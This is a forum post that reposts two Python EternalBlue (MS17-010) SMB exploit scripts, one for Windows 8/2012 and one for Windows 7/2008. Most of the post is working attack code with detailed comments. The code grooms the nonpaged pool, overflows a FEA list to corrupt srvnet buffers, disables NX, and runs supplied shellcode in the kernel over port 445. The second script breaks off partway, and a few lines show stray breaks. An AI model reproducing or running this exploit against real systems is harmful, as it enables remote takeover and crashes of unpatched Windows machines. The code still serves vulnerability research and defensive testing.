eternalblue_win7&2008&Windows 8&2012 exploit

admin · 发表于 2017-5-22 14:38:07

EternalBlue exploit for Windows 8 and 2012

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- tcp port 445 if filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
'''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90
struct SRVNET_BUFFER_HDR {
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
};
struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
};
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
# This value MUST be exactly same as the number of bytes we send.
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
# - 0x90 (VOID*) : MDL.Next should be NULL
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
# \x48\x01\xd1 add rcx, rdx
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx
TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808
# NX bit is at 0xfffff6ffffffe80f
# MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa
feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x200 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x200 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# do not know why Word Count can be 12
# if word count is not 12, setting ByteCount without enough data will be failed
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
structure = (
('MaxBuffer','<H'),
('MaxMpxCount','<H'),
('VCNumber','<H'),
('SessionKey','<L'),
#('AnsiPwdLength','<H'),
('UnicodePwdLength','<H'),
('_reserved','<L=0'),
('Capabilities','<L'),
)
def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
# You can see the allocation logic (even code is not the same) in WinNT4 source code
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0
sessionSetup['Parameters']['UnicodePwdLength'] = 0
sessionSetup['Parameters']['Capabilities'] = 0x80000000
# set ByteCount here
sessionSetup['Data'] = pack('<H', size) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1)
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC
)
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another NT transaction for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login_standard('', '')
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC
)
nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger to overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger to place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
if len(sc) > 4096:
print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')

复制代码

EternalBlue exploit for Windows 7/2008

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 x64
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Bug detail:
- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code
https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263
- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.
if (nextFea > lastFeaStartLocation) {
// this code is for shrinking FeaList->cbList because last fea is invalid.
// FeaList->cbList is DWORD but it is cast to WORD.
*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
return size;
}
- Here is related struct info.
#####
typedef struct _FEA { /* fea */
BYTE fEA; /* flags */
BYTE cbName; /* name length not including NULL */
USHORT cbValue; /* value length */
} FEA, *PFEA;
typedef struct _FEALIST { /* feal */
DWORD cbList; /* total bytes of structure including full list */
FEA list[1]; /* variable length FEA structures */
} FEALIST, *PFEALIST;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
######
Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
- Controlling MDL values results in arbitrary write
- Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored
'''
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWekStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
# - 0x70 (VOID*) : MDL.Next should be NULL
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x80 (VOID*) : MDL.Process should be NULL
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
# a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
# \x89\x4a\x38 mov [rdx+0x38], ecx
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
